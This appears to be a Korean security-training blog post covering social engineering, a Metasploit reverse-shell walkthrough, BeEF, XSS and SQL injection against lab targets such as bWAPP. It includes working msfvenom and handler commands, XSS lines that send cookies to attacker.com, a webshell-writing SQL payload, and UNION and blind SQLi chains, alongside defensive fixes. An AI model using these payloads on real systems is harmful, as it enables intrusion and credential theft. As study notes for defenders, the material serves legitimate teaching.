| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 |
- sk 쉴더스 루키즈
- kisa #보안관제
- 쉴더스
- 29기
- sk shieldus
- DVWA#INSTALL#github#security#kali#linux
- AI #취업
- 클라우드기반 보안 시스템 구축/운영 실무
- DVWA#Brute#Force#Attack#Test#Kali#Linux#Medium#Level#sleep
- 클라우드 기반
- CERT
- 기술 특강 및 OT
- VMWARE#INSTALL#설치
- 모듈 프로젝트
- rocky linux#siem#project#threat detection#soc#onpremise#ids#python#csv#pipeline#kali linux#DVWA#security monitoring
- Kali#Linux#KALI#LINUX#INSTALL#github#설치
- 시스템-네트워크 보안 기술
- Kali#Linux#Brute#Force#Attack#Test#DVWA#Hacking#Low#무차별#대입#공격#해킹
- #루키즈
- 클라우드 보안 기술
- 보고서
- 모듈프로젝트
- 애플리케이션 보안 기술
- 모의침투
- 개인정보보호
- Foxyproxy#install#setting#firefox
- Case Study
- 루키즈
- 클라우드 보안 기반
- 인프라 활용을 위한 파이썬
- Today
- Total
이것저것
[SK shieldus Rookies 29기] 23일차 본문
1. 사회공학기법
정의
기술적 수단보다는 인간의 심리와 신뢰를 이용하여 정보를 탈취하는 공격 방식입니다.
주요 공격 유형
1.1 피싱 (Phishing)
- 개념: 정상적인 기관(은행, 결제시스템 등)을 사칭
- 공격 방법: 이메일이나 SMS로 링크 전송
- 목표: 개인정보(ID, 비밀번호, 신용카드 정보) 탈취
- 예시: "OOO 은행입니다. 보안 업데이트를 위해 로그인하세요"
1.2 스피어 피싱 (Spear Phishing)
- 개념: 특정 개인이나 조직을 대상으로 한 정교한 공격
- 특징: 개인 정보(이름, 회사, 직급 등)를 미리 조사
- 효과성: 일반 피싱보다 성공률 높음 (30-50%)
1.3 바이팅 (Baiting)
- 개념: USB, CD, 하드드라이브 등 물리적 매체에 악성코드 탑재
- 공격 방식: 공개 장소에 방치하여 호기심 유발
- 피해: 악성코드 실행 → 시스템 감염
1.4 프리텍싱 (Pretexting)
- 개념: 거짓된 명목(직원 신분 사칭, 기술 지원팀 등)으로 정보 획득
- 예시: "IT 부서입니다. 암호 변경을 확인하기 위해 현재 비밀번호를 알려주세요"
1.5 꼬리표 / 숨겨진 진입 (Tailgating / Piggybacking)
- 개념: 정당한 사용자 뒤를 따라 통제 구역 진입
- 물리 보안: 출입카드 없이도 문을 통과
1.6 폐기된 문서 수집 (Dumpster Diving)
- 개념: 버려진 서류, 쓰레기통에서 민감 정보 수집
- 획득 정보: 비밀번호 hint, 내부 명부, 시스템 정보
2. 악성코드 제작 및 배포
2.1 Metasploit Framework 개요
Metasploit이란?
- 정의: 취약점 테스트 및 악성코드 생성을 위한 오픈소스 프레임워크
- 개발사: Rapid7
- 라이센스: 오픈소스 (일부 프로 버전 유료)
버전 정보 (v6.4.84-dev)
├─ 2,547개의 Exploit (취약점 공격 코드)
├─ 1,309개의 Auxiliary (보조 도구)
├─ 1,683개의 Payload (페이로드/악성 코드)
├─ 432개의 Post (후처리 모듈)
├─ 49개의 Encoder (인코더 - 탐지 우회)
├─ 13개의 NOP (연산 명령)
└─ 9개의 Evasion (회피 기법)2.2 Metasploit을 이용한 Reverse Shell 생성
2.2.1 Reverse Shell이란?
- 정의: 공격자의 컴퓨터로 역방향 연결을 맺는 쉘
- 작동 방식:
[피해 시스템] → 연결 → [공격자 시스템] (클라이언트) (리스너)
2.2.2 Reverse Shell 생성 프로세스
Step 1: MSFVenom으로 악성 실행 파일 생성
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.206.130 \
LPORT=4444 \
-f exe \
-o flash.exe
옵션 설명:
-p: 페이로드 타입 (windows/meterpreter/reverse_tcp)windows: Windows 운영체제 대상meterpreter: Metasploit의 강력한 에이전트reverse_tcp: TCP 역연결 방식
LHOST: 공격자 IP (Listening Host)LPORT: 공격자 포트 (Listening Port)-f exe: 출력 형식 (Windows 실행 파일)-o: 저장 파일명
생성 결과:
Step 2: Metasploit Console에서 리스너 설정
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.206.130
LHOST => 192.168.206.130
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.206.130:4444
[*] Sending staged payload...



Step 3: 피해자가 악성파일 실행
- 피해자가 flash.exe 실행
- 공격자 시스템(192.168.206.130:4444)으로 역연결
- Meterpreter 쉘 획득



2.2.3 Meterpreter을 통한 공격
Meterpreter 쉘 획득 후 실행 가능한 명령:
| 기능 | 명령어 | 설명 |
|---|---|---|
| 화면 캡처 | screenshot |
실시간 화면 촬영 |
| 키로깅 | keyscan_start |
입력 키 기록 |
| 파일 조작 | download / upload |
파일 다운로드/업로드 |
| 프로세스 제어 | ps (프로세스 목록 조회) |
실행 중인 프로세스 확인 |
| 시스템 정보 | sysinfo |
시스템 상세 정보 |
| 추가 악성코드 | run post/windows/... |
추가 공격 모듈 실행 |
| 웹캠 조작 | webcam_snap |
웹캠으로 사진 촬영 |
![]() |
||
![]() |
||
![]() |
||
2.3 BeEF (Browser Exploitation Framework)
BeEF란?
- 정의: 웹 브라우저를 통한 클라이언트 측 공격 프레임워크
- 버전: 0.5.4.0
- 특징: JavaScript를 이용한 브라우저 기반 공격
BeEF 대시보드 구성
┌─ Hooked Browsers (감염된 브라우저 목록)
│ ├─ Online Browsers (현재 온라인 상태)
│ └─ Offline Browsers (오프라인 상태)
│
├─ Commands (실행 가능한 공격 명령어)
│
├─ Logs (공격 활동 기록)
│
├─ XssRays (XSS 취약점 자동 탐지)
│
├─ Proxy (MitM 공격용 프록시)
│
└─ Network (네트워크 정보 수집)


감염된 브라우저에서 수집 가능한 정보
📊 브라우저 정보
├─ browser.name: MSEdge
├─ browser.version: 143.0.0.0
└─ browser.platform: Win32
🖥️ 운영체제 정보
├─ OS: Windows NT 10.0 (Windows 10)
└─ Architecture: x64
🔌 플러그인 정보
├─ PDF Viewer
├─ Chrome PDF Viewer
└─ Chromium PDF Viewer
🍪 쿠키 정보
├─ PHPSESSID: e68d6ebb4295aaea06c0e05b094a0e9f
└─ BEEFHOOK: puzUIEnSkIIYuKfTDi1qTGlcXSA02Pl8q9cTlEmS7d...
🌐 네트워크 정보
├─ hostname: 192.168.206.128
├─ port: 80
└─ origin: http://192.168.206.128
BeEF의 주요 공격 모듈
| 카테고리 | 공격 유형 | 설명 |
|---|---|---|
| Social Engineering | Phishing | 위조된 로그인 페이지 표시 |
| Fake Flash Update | 거짓 Flash 업데이트 알림 | |
| Network | Port Scan | 내부 네트워크 포트 스캔 |
| Detect Social Networks | SNS 탐지 | |
| Browser | Redirect | 악성 사이트로 리다이렉트 |
| Keystroke Monitor | 키로깅 | |
| System | Get System Info | 시스템 정보 수집 |
3. XSS (Cross-Site Scripting)
3.1 XSS 취약점 정의
개념:
사용자가 입력한 값을 서버에서 검증하지 않고 HTML에 직접 반영하여, 악의적인 JavaScript 코드가 피해자의 브라우저에서 실행되는 취약점
3.2 XSS의 위험성
가능한 공격들
# 1. 쿠키 탈취
<script>
new Image().src="http://attacker.com/steal.php?cookie="+document.cookie;
</script>
# 2. 세션 토큰 탈취
<script>
fetch("http://attacker.com/log?session=" + sessionStorage.getItem('token'));
</script>
# 3. 피해자의 계정으로 악의적 행동 (비디오 시청, 메시지 전송 등)
<script>
# 피해자 계정으로 친구 요청
fetch('/api/friend-request', {method: 'POST', body: JSON.stringify({targetId: 123})});
</script>
# 4. 페이지 리다이렉트
<script>
window.location = 'http://phishing-site.com';
</script>
# 5. 웹캠 또는 마이크 접근 시도
<script>
navigator.mediaDevices.getUserMedia({video: true, audio: true});
</script>
3.3 XSS 공격 대응 방안
❌ 방법 1: 블랙리스트 필터링 (권장하지 않음)
public static String strTags(String source) {
String[] oldString = {
"<html", "</html", "<meta", "<style", "</style",
"script:", "cookie", "document.",
"<iframe", "<embed", "<object"
};
String[] newString = {
"<hHTML", "</hHTML", "<hMETA", "<hSTYLE", "</hSTYLE",
"scr1pt:", "cook!e", "d0cument.",
"<iframe", "<embed", "<object"
};
return strReplaceIgnoreCase(source, oldString, newString);
}
문제점:
- 우회 방법 많음
- 케이스 변형:
<Script>,<SCRIPT>,<sCrIpT> - 공백 삽입:
<scr ipt> - HTML 인코딩:
<script>(115='s') - 프로토콜 변형:
javascript:,vbscript:,data:
✅ 방법 2: HTML Entity 변환 (권장)
수정 전 (취약한 코드)
<td> <B><?=$view_row[title]?></B></td>
<td> <?=$view_row[name]?></td>
<?=($view_row[bHtml]==1)?nl2br(htmlspecialchars($view_row[content])):$view_row[content]?>
문제점:
title,name필드에 특수문자 검증 없음- 사용자 입력이 그대로 HTML에 반영
공격 시나리오:
title 입력: <img src=x onerror="alert('XSS')">
결과:
<B><img src=x onerror="alert('XSS')"></B>
→ onerror 이벤트 발생 → JavaScript 실행
수정 후 (보안 적용)
<td> <B><?=htmlspecialchars($view_row[title], ENT_QUOTES, 'UTF-8')?>}</B></td>
<td> <?=htmlspecialchars($view_row[name], ENT_QUOTES, 'UTF-8')?></td>
<?=htmlspecialchars($view_row[bHtml]==1)?
nl2br(htmlspecialchars($view_row[content], ENT_QUOTES, 'UTF-8')):
htmlspecialchars($view_row[content], ENT_QUOTES, 'UTF-8')?>
htmlspecialchars 함수의 작동 원리
| 특수 문자 | HTML Entity | 설명 |
|---|---|---|
< |
< |
작은 부등호 |
> |
> |
큰 부등호 |
& |
& |
앰퍼샌드 |
" |
" |
큰따옴표 |
' |
' |
작은따옴표 |
변환 예시:
입력: <script>alert('XSS')</script>
변환 결과:
<script>alert('XSS')</script>
브라우저 해석:
<script>alert('XSS')</script> → 문자열로 인식 (코드 실행 안 됨)3.4 쿠키 재사용 공격 (Session Hijacking) 대응
공격 시나리오
1단계: XSS를 통해 쿠키 탈취
┌─────────────────────────────────┐
│ <script> │
│ fetch('http://attacker.com/' + │
│ '?cookie=' + document.cookie) │
│ </script> │
└─────────────────────────────────┘
↓
공격자: PHPSESSID=abc123def456 획득
2단계: 쿠키를 자신의 브라우저에 주입
공격자 브라우저에 PHPSESSID=abc123def456 설정
3단계: 피해자의 계정으로 접근
공격자: http://target.com/ 접속
→ PHPSESSID 쿠키 전송
→ 서버: 피해자의 세션으로 인식
→ 피해자의 계정으로 활동 가능대응 방안 1단계: XSS 취약점 제거
필터링할 위험 태그:
<script> - JavaScript 실행
<iframe> - 외부 프레임 로드
<img> - onerror 이벤트로 JS 실행
<svg> - onload 이벤트로 JS 실행
<body> - onload 이벤트
<input> - onfocus 이벤트
<marquee> - onstart 이벤트
<isindex> - onfocus 이벤트대응 방안 2단계: 쿠키에 IP 정보 포함 및 암호화
# 쿠키 생성 시
$user_ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$session_id = session_create_id();
# 쿠키 데이터 생성
$cookie_data = array(
'session_id' => $session_id,
'user_ip' => $user_ip,
'user_agent' => md5($user_agent),
'timestamp' => time()
);
# 암호화
$encrypted = openssl_encrypt(
json_encode($cookie_data),
'AES-256-CBC',
$encryption_key,
0,
$iv
);
setcookie('auth', $encrypted, time() + 3600);
# 쿠키 검증 시
$current_ip = $_SERVER['REMOTE_ADDR'];
$current_agent = $_SERVER['HTTP_USER_AGENT'];
$decrypted = openssl_decrypt($encrypted_cookie, 'AES-256-CBC', $encryption_key, 0, $iv);
$cookie_data = json_decode($decrypted, true);
if ($cookie_data['user_ip'] !== $current_ip ||
$cookie_data['user_agent'] !== md5($current_agent)) {
// IP 또는 User-Agent 불일치 → 세션 무효화
session_destroy();
}

대응 방안 3단계: 금융권 보안 (강화된 방식)
# IP + MAC + User-Agent + Timestamp 조합 검증
$security_hash = hash('sha256',
$user_ip .
$mac_address .
md5($user_agent) .
$session_creation_time
);
# 세션마다 재검증
if ($security_hash !== $stored_hash) {
# 의심스러운 활동 감지
$log_suspicious_activity($user_id, $current_ip);
require_authentication();
}
# 추가 검증: 위치 기반 확인
if (distance($previous_location, $current_location) > $max_distance &&
time_diff < $min_travel_time) {
# 물리적으로 불가능한 이동 → 차단
deny_access();
}
3.5 Quiz
gm shop admin 권한 탈취
저번에 진행한 것과 똑같은 메타로 관리자가 심심했는지 게시판 글을 읽어본다.
관리자 권한으로 피싱사이트 게시글을 읽으니까 바로 정보가 공격자에게 넘어온다.
공격자는 신이나서 Victim에게 했던 것처럼 쿠키값을 획득한 뒤, 개발자도구를 열어서 쿠키값을 수정하려 한다.
수정했지만 다음과 같은 팝업창이 뜬 공격자는 당황한다.
아무래도 문제가 생긴 것 같다...
다른 방법을 생각해봐야겠다...
보니까 레퍼럴 주소를 이용하면 될 것 같다는 느낌을 가지고 시도를 해본다.
위 주소에다가 레퍼럴 주소를 붙여만 넣고 쿠키값을 입력한 다음 레퍼럴 주소로 고고씽하면 이제 관리자 권한이 탈취된다.
접속에 성공한 것을 확인 할 수 있다.
이제 마음대로 하면 된다.
출처-MBC
4. SQL Injection
4.1 SQL Injection 정의
개념:
사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여, 공격자가 SQL 문법을 조작해 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점


4.2 SQL Injection의 공격 유형
유형 1: 인증 우회
정상 로그인 쿼리:
SELECT * FROM users WHERE login='admin' AND password='password123';
공격자의 입력:
username: admin' OR 1=1#
password: (아무거나)생성되는 쿼리:
SELECT * FROM users WHERE login='admin' OR 1=1# AND password='password123';
주석 처리되어 실제 쿼리:
# 1==1(항상 참)
SELECT * FROM users WHERE login='admin' OR 1=1;
결과: 비밀번호 검증 없이 admin 계정으로 로그인 성공

유형 2: 데이터베이스 데이터 조작 및 유출
공격자의 입력:
id: 1' ; DROP TABLE users ;#생성되는 쿼리:
SELECT * FROM users WHERE id='1'; DROP TABLE users;#(뒤는 주석처리)
결과: users 테이블 완전 삭제
유형 3: 시스템 명령어 실행
MS-SQL의 경우:
' ; EXEC xp_cmdshell 'dir c:\' ; --
PHP를 통한 웹쉘 생성:
' UNION SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php' --
결과: 웹 서버에 웹쉘 생성 → 서버 완전 제어
4.3 웹 스택별 데이터베이스 구성
Windows 환경
┌─ IIS (웹 서버)
├─ ASP / ASP.NET (프로그래밍 언어)
├─ MS-SQL Server (데이터베이스)
└─ Windows Server (OS)
특징: 기업 환경에서 많이 사용, 높은 보안 수준Linux 환경 (LAMP)
┌─ Apache (웹 서버)
├─ PHP (프로그래밍 언어)
├─ MySQL / MariaDB (데이터베이스)
└─ Linux (OS)
특징: 오픈소스, 저비용, 높은 호환성Java 환경
┌─ Tomcat (웹 컨테이너)
├─ JSP / Java (프로그래밍 언어)
├─ ORACLE (데이터베이스)
└─ Linux / Windows (OS)
특징: 엔터프라이즈급 애플리케이션, 높은 확장성NoSQL 환경
├─ MongoDB (문서 기반)
├─ PostgreSQL (객체 관계형)
├─ Elasticsearch (검색 엔진)
└─ Redis (메모리 기반)
특징: 관계형이 아님, 확장성 높음, SQL Injection 다른 방식4.4 데이터베이스 계층 구조
데이터베이스 (Database)
↓
테이블 (Table)
↓
컬럼/필드 (Column/Field)
↓
데이터 (Data)
bee-box 예시
root@bee-box:~# mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 423
Server version: 5.0.96-0ubuntu3 (Ubuntu)
Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| bWAPP |
| drupageddon |
| gmshop |
| mysql |
+--------------------+
5 rows in set (0.00 sec)
mysql> use bWAPP;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-----------------+
| Tables_in_bWAPP |
+-----------------+
| blog |
| heroes |
| movies |
| users |
| visitors |
+-----------------+
5 rows in set (0.00 sec)
mysql> desc users;
+-----------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+--------------+------+-----+---------+----------------+
| id | int(10) | NO | PRI | NULL | auto_increment |
| login | varchar(100) | YES | | NULL | |
| password | varchar(100) | YES | | NULL | |
| email | varchar(100) | YES | | NULL | |
| secret | varchar(100) | YES | | NULL | |
| activation_code | varchar(100) | YES | | NULL | |
| activated | tinyint(1) | YES | | 0 | |
| reset_code | varchar(100) | YES | | NULL | |
| admin | tinyint(1) | YES | | 0 | |
+-----------------+--------------+------+-----+---------+----------------+
9 rows in set (0.02 sec)
mysql> select * from users;
+----+--------+------------------------------------------+--------------------------+-------------------------------------+-----------------+-----------+------------+-------+
| id | login | password | email | secret | activation_code | activated | reset_code | admin |
+----+--------+------------------------------------------+--------------------------+-------------------------------------+-----------------+-----------+------------+-------+
| 1 | A.I.M. | 6885858486f31043e5839c735d99457f045affd0 | bwapp-aim@mailinator.com | A.I.M. or Authentication Is Missing | NULL | 1 | NULL | 1 |
| 2 | bee | 6885858486f31043e5839c735d99457f045affd0 | bwapp-bee@mailinator.com | Any bugs? | NULL | 1 | NULL | 1 |
+----+--------+------------------------------------------+--------------------------+-------------------------------------+-----------------+-----------+------------+-------+
2 rows in set (0.00 sec)
mysql> select * from users where login='bee';
+----+-------+------------------------------------------+--------------------------+-----------+-----------------+-----------+------------+-------+
| id | login | password | email | secret | activation_code | activated | reset_code | admin |
+----+-------+------------------------------------------+--------------------------+-----------+-----------------+-----------+------------+-------+
| 2 | bee | 6885858486f31043e5839c735d99457f045affd0 | bwapp-bee@mailinator.com | Any bugs? | NULL | 1 | NULL | 1 |
+----+-------+------------------------------------------+--------------------------+-----------+-----------------+-----------+------------+-------+
1 row in set (0.00 sec)
4.5 실제 MySQL 데이터베이스 구조
Step 1: 데이터베이스 연결
root@bee-box:~# mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| bWAPP | ← 웹 애플리케이션 테스트용 DB
| drupageddon |
| gmshop |
| mysql |
+--------------------+
5 rows in set (0.00 sec)
Step 2: 데이터베이스 선택 및 테이블 확인
mysql> use bWAPP;
Database changed
mysql> show tables;
+-----------------+
| Tables_in_bWAPP |
+-----------------+
| blog |
| heroes |
| movies | ← 영화 정보 테이블
| users | ← 사용자 정보 테이블
| visitors |
+-----------------+
5 rows in set (0.00 sec)
Step 3: 테이블 구조 확인
mysql> desc users;
+-----------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+--------------+------+-----+---------+----------------+
| id | int(10) | NO | PRI | NULL | auto_increment |
| login | varchar(100) | YES | | NULL | |
| password | varchar(100) | YES | | NULL | |
| email | varchar(100) | YES | | NULL | |
| secret | varchar(100) | YES | | NULL | |
| activation_code | varchar(100) | YES | | NULL | |
| activated | tinyint(1) | YES | | 0 | |
| reset_code | varchar(100) | YES | | NULL | |
| admin | tinyint(1) | YES | | 0 | |
+-----------------+--------------+------+-----+---------+----------------+
9 rows in set (0.02 sec)
Step 4: 실제 데이터 조회
mysql> select * from users;
+----+--------+------------------------------------------+--------------------------+-------+
| id | login | password | email | admin |
+----+--------+------------------------------------------+--------------------------+-------+
| 1 | A.I.M. | 6885858486f31043e5839c735d99457f045affd0 | bwapp-aim@mailinator.com | 1 |
| 2 | bee | 6885858486f31043e5839c735d99457f045affd0 | bwapp-bee@mailinator.com | 1 |
+----+--------+------------------------------------------+--------------------------+-------+
2 rows in set (0.00 sec)
mysql> select * from users where login='bee';
+----+-------+------------------------------------------+--------------------------+-------+
| id | login | password | email | admin |
+----+-------+------------------------------------------+--------------------------+-------+
| 2 | bee | 6885858486f31043e5839c735d99457f045affd0 | bwapp-bee@mailinator.com | 1 |
+----+-------+------------------------------------------+--------------------------+-------+
1 row in set (0.00 sec)
4.6 에러 베이스 SQL Injection 상세 기법
개념
데이터베이스의 에러 메시지를 이용하여 정보를 추출하는 기법
4.6.1 Single Quote를 이용한 문법 오류 유발
기본 쿼리:
SELECT * FROM movies WHERE title = 'movie_title'

공격 1: 따옴표로 쿼리 닫기
입력: a'
생성되는 쿼리: SELECT * FROM movies WHERE title = 'a''
결과: 문법 오류 (따옴표 중복)
에러 메시지:
Error: You have an error in your SQL syntax near 'a'''
공격 2: 주석으로 나머지 쿼리 무시
입력: a' --
생성되는 쿼리: SELECT * FROM movies WHERE title = 'a' --'
결과: 정상 실행 (-- 이후 주석 처리)
응답: a 제목의 영화 정보 반환 또는 공백
공격 3: OR 구문으로 조건 우회
입력: ' or 1=1 --
생성되는 쿼리: SELECT * FROM movies WHERE title = '' or 1=1 --'
결과: 모든 영화 정보 반환
설명:
1=1은 항상 참이므로 WHERE 조건이 무의미해짐
전체 테이블 데이터 노출
4.6.2 ORDER BY를 이용한 컬럼 개수 파악
목적: UNION 쿼리를 작성하기 위해 테이블의 컬럼 개수 파악
-- 1번 컬럼으로 정렬 (성공)
SELECT * FROM movies WHERE title = '' order by 1#
결과: ✅ 정상 실행
-- 2번 컬럼으로 정렬 (성공)
SELECT * FROM movies WHERE title = '' order by 2#
결과: ✅ 정상 실행
-- 3번 컬럼으로 정렬 (성공)
SELECT * FROM movies WHERE title = '' order by 3#
결과: ✅ 정상 실행
...
-- 7번 컬럼으로 정렬 (성공)
SELECT * FROM movies WHERE title = '' order by 7#
결과: ✅ 정상 실행
-- 8번 컬럼으로 정렬 (실패) ❌
SELECT * FROM movies WHERE title = '' order by 8#
결과: Unknown column '8' in 'order clause'
결론: movies 테이블의 컬럼 개수는 7개
)
4.6.3 UNION SELECT를 이용한 데이터 추출
원리:
- 두 SELECT 쿼리의 결과를 합치되, 컬럼 개수와 타입이 같아야 함
- 기존 쿼리가 다음과 같이 생겼다고 가정하면:
SELECT * FROM movie WHERE title LIKE '%입력값%'
#여기에 입력값을 다음처럼 넣은 것:
' UNION SELECT 1,2,3,4,5,6,7#
```sql
SELECT * FROM movie WHERE title LIKE '%'
UNION SELECT 1,2,3,4,5,6,7#%'
#) 이후는 주석 → 뒤쪽 %는 제거됨.
→ 결과적으로 DB는 두 쿼리의 결과를 합쳐 출력하게 됨.Step 1: UNION SQL Injection이 가능한지 테스트하는 1단계 페이로드
SELECT * FROM movies WHERE title = ''
UNION SELECT 1,2,3,4,5,6,7#
결과:
1 | 2 | 3 | 4 | 5 | 6 | 7

Step 2: 함수로 원하는 정보 추출
SELECT * FROM movies WHERE title = '
0' UNION SELECT 1,@@version,3,4,database(),6,7#

SELECT * FROM movies WHERE title = '
0' UNION SELECT 1,@@version,user(),4,database(),6,7#

주요 MySQL 함수:
@@version - MySQL 버전
user() - 현재 접속 사용자
database() - 현재 선택된 데이터베이스
@@datadir - 데이터 디렉토리
@@basedir - 설치 디렉토리
@@port - MySQL 포트
version() - 버전 정보 (@@version과 동일)
페이로드 정리
| 페이로드 | 목적 / 역할 |
|---|---|
| ' UNION SELECT 1,2,3,4,5,6,7#` | UNION SQL Injection 가능 여부 테스트 (컬럼 수 확인) |
0' UNION SELECT 1,2,3,4,5,6,7# |
숫자형 입력에서도 SQLi 가능 여부 테스트 |
0' UNION SELECT 1,@@version,3,4,database(),6,7# |
DB 버전(@@version), 현재 DB(database()) 정보 수집 |
0' UNION SELECT 1,@@version,user(),4,database(),6,7# |
DB 사용자(user()), DB 정보 수집 |
4.6.4 Information Schema를 이용한 공격
Information Schema란?
MySQL의 시스템 데이터베이스로, 모든 테이블, 컬럼, 제약조건 정보를 저장하고 있음
주요 테이블
| 테이블명 | 정보 |
|---|---|
information_schema.tables |
데이터베이스의 모든 테이블 |
information_schema.columns |
각 테이블의 컬럼 정보 |
information_schema.key_column_usage |
외래키 정보 |
information_schema.referential_constraints |
제약조건 정보 |
| #### 주요 컬럼 | |
| 컬럼명 | 정보 |
| --------- | ------ |
table_schema |
DB 이름 |
table_name |
테이블 이름 |
table_type |
BASE TABLE / VIEW 등 |
Attack Step 1: 모든 테이블 추출
SELECT * FROM information_schema.tables;
결과:
table_schema | table_name
bWAPP | users
bWAPP | movies
bWAPP | blog
bWAPP | heroes
gmshop | products
gmshop | orders

웹에서 SQL Injection:
입력: 0' UNION SELECT 1,2,3,4,5,6,7 FROM information_schema.tables#
쿼리: SELECT * FROM movies WHERE title = '0'
UNION SELECT 1,2,3,4,5,6,7 FROM information_schema.tables#
결과: information_schema.tables의 모든 행을 조회
Attack Step 2: 특정 데이터베이스의 테이블만 추출
SELECT table_schema, table_name
FROM information_schema.tables
WHERE table_schema='bWAPP';
결과:
table_schema | table_name
bWAPP | blog
bWAPP | heroes
bWAPP | movies
bWAPP | users
bWAPP | visitors

웹에서 SQL Injection:
입력: 0' UNION SELECT 1, table_schema, 3, table_name, 5, 6, 7
FROM information_schema.tables
WHERE table_schema='bWAPP'#
결과:
| title | release | character | genre | imdb
| bWAPP | 3 | 5 | blog | Link
| bWAPP | 3 | 5 | hereoes | Link
| bWAPP | 3 | 5 | movies | Link 
Attack Step 3: 특정 테이블의 컬럼 정보 추출
SELECT table_name, column_name
FROM information_schema.columns
WHERE table_schema='bWAPP' AND table_name='users';
결과:
table_name | column_name
users | id
users | login
users | password
users | email
users | secret
users | activation_code
users | activated
users | reset_code
users | admin

웹에서 SQL Injection:
입력: 0' UNION SELECT 1, table_name, column_name, 4, 5, 6, 7
FROM information_schema.columns
WHERE table_schema='bWAPP' AND table_name='users'#
결과: users 테이블의 모든 컬럼명 노출
Attack Step 4: 실제 데이터 추출
SELECT id, login, password, email, admin
FROM bWAPP.users;
결과:
id | login | password | email | admin
1 | A.I.M. | 6885858486f31043e5839c735d99457f045affd0 | bwapp-aim@mailinator.com | 1
2 | bee | 6885858486f31043e5839c735d99457f045affd0 | bwapp-bee@mailinator.com | 1

웹에서 SQL Injection:
입력: 0' UNION SELECT 1, id, login, password, admin, 6, 7 FROM users#
결과:
id | title | release | character | genre | imdb | link
1 | 1 | A.I.M. | 6885858486f31043e5839c735d99457f045affd0 | 1 | 6 | 7
1 | 2 | bee | 6885858486f31043e5839c735d99457f045affd0 | 1 | 6 | 7
✅ 모든 사용자 정보 및 비밀번호 해시 탈취 완료
해시인 것을 어떻게 아느냐..??


바로 뚫려버림...
4.7 Boolean-Based Blind SQL Injection
원리
웹 페이지가 데이터(예: 테이블명, 컬럼명 등)를 출력하지 않아도
SQL 문장에 조건문을 넣어 참(TRUE)인지 거짓(FALSE)인지에 따라 페이지가 달라지는 것을 이용해 정보를 알아내는 방식.
응답의 내용은 같지만, 참/거짓 조건에 따라 반환되는 데이터가 다름을 이용.
-- 참일 때 (조건이 맞음)
SELECT * FROM users WHERE id=1 AND 1=1
결과: 사용자 정보 반환
-- 거짓일 때 (조건이 틀림)
SELECT * FROM users WHERE id=1 AND 1=2
결과: 빈 결과 또는 "User not found"
참 or 거짓만 계속 반복하다보면 데이터베이스의 내용을 확인할 수는 있으나 정병이 걸립니다...
따라서 아래에 있는 함수와 코드를 사용하여 쉽게 갈 수 있습니다.
ASCII Code (아스키 코드)
- 10진수 48 ~ 57 = 정수 1 ~ 10
- 10진수 65 ~ 90 = 문자 A ~ Z
- 10진수 97 ~ 122 = 문자 a ~ z
- 아스키 코드 표 참고
substring( ) 함수
- 지정한 문자열의 일부를 반환해주는 함수
- 형식 : substring("문자열", 시작 index, index 길이)
length( ) 함수
- 지정한 문자열의 길이를 반환해주는 함수
- 형식 : length("문자열")
)
# 데이터베이스 이름 길이 5글자
' or 1=1 and length(database())=1#
' or 1=1 and length(database())=5#
이제 length를 알아냈으니 첫 번째 글자가 무엇인지를 알아야 합니다.


# 데이터베이스 이름 첫 번째 글자
' or 1=1 and substring(database(),1,1)='a'#
' or 1=1 and substring(database(),1,1)='b'#
천천히 a-z까지 해보면 되는 조합들이 나옵니다. 사진처럼 a는 없다고 나오지만 b는 있다고 나옵니다. 이제 두 번째 문자를 알아내기 위해 다시 입력합니다.
# 데이터베이스 이름 두 번째 글자
' or 1=1 and substring(database(),2,1)='a'#
' or 1=1 and substring(database(),2,1)='b'#
' or 1=1 and substring(database(),2,1)='c'#
하지만 이런 식으로 하면 시간이 오래 걸립니다.
# 아스키 코드 이용
' or 1=1 and ascii(substring(database(),1,1))=97#
' or 1=1 and ascii(substring(database(),1,1))>100#
' or 1=1 and ascii(substring(database(),1,1))=98#

이제 아스키 코드를 이용하여 전보다 쉽게 찾을 수 있습니다.
이제 좀 더 구체적으로 찾아보겠습니다.
' or 1=1 and length((select table_name from information_schema.tables where table_schema='bWAPP' limit 0,1))=5#
DB 이름이 bWAPP 인 데이터베이스에서 첫 번째 테이블 이름(limit 0,1)을 가져와서 그 길이가 5인지 검사.
' or 1=1 and substring((select table_name from information_schema.tables where table_schema='bWAPP' limit 0,1),1,1)='b'#
첫 번째 테이블 이름의 첫 번째 문자(substring(...,1,1))가 'b' 인지 확인
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_schema='bWAPP' limit 0,1),1,1)) > 100#
첫 번째 테이블 이름의 첫 글자의 ASCII 코드가 100보다 큰지 비교
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_schema='bWAPP' limit 0,1),1,1))=98#
첫 문자 ASCII 값이 98인지 확인(b인지 확인)
